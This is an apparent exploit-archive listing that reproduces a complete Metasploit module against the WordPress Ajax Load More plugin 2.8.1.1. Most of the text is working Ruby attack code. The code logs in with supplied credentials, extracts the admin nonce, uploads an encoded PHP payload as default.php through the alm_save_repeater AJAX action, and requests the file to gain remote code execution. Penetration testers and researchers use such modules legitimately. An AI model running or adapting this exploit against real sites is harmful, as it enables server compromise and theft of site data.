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WordPress Ajax Load More PHP Upload

WordPress Ajax Load More PHP Upload
Posted Nov 9, 2015
Authored by temp66 | Site metasploit.com

This Metasploit module exploits an arbitrary file upload in the WordPress Ajax Load More version 2.8.1.1. It allows you to upload arbitrary php files and get remote code execution. This Metasploit module has been tested successfully on WordPress Ajax Load More 2.8.0 with WordPress 4.1.3 on Ubuntu 12.04/14.04 Server.

tags | exploit, remote, arbitrary, php, code execution, file upload
systems | linux, ubuntu
SHA-256 | 11f7539e7ef47eff9d74ba4f4c35c661e3f3e8bfd87cbe2130c13dbb4e6eb011

WordPress Ajax Load More PHP Upload

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress Ajax Load More
version 2.8.1.1. It allows to upload arbitrary php files and get remote code
execution. This module has been tested successfully on WordPress Ajax Load More
2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.
},
'Author' =>
[
'Unknown', # Identify yourself || send an PR here
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '8209']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Ajax Load More 2.8.1.1', {}]],
'DisclosureDate' => 'Oct 10 2015',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('WP_USERNAME', [true, 'A valid username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class
)
end

def check
check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')
end

def username
datastore['WP_USERNAME']
end

def password
datastore['WP_PASSWORD']
end

def get_nonce(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'vars_get' => {
'page' => 'ajax-load-more-repeaters'
},
'cookie' => cookie
)

if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/
return Regexp.last_match[1]
else
return nil
end
end

def exploit
vprint_status("#{peer} - Trying to login as #{username}")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil?

vprint_status("#{peer} - Trying to get nonce")
nonce = get_nonce(cookie)
fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil?

vprint_status("#{peer} - Trying to upload payload")

# This must be default.php
filename = 'default.php'

print_status("#{peer} - Uploading payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
'vars_post' => {
'action' => 'alm_save_repeater',
'value' => payload.encoded,
'repeater' => 'default',
'type' => 'default',
'alias' => '',
'nonce' => nonce
},
'cookie' => cookie
)

if res
if res.code == 200 && res.body.include?('Template Saved Successfully')
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end

print_status("#{peer} - Calling uploaded file")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
)
end
end
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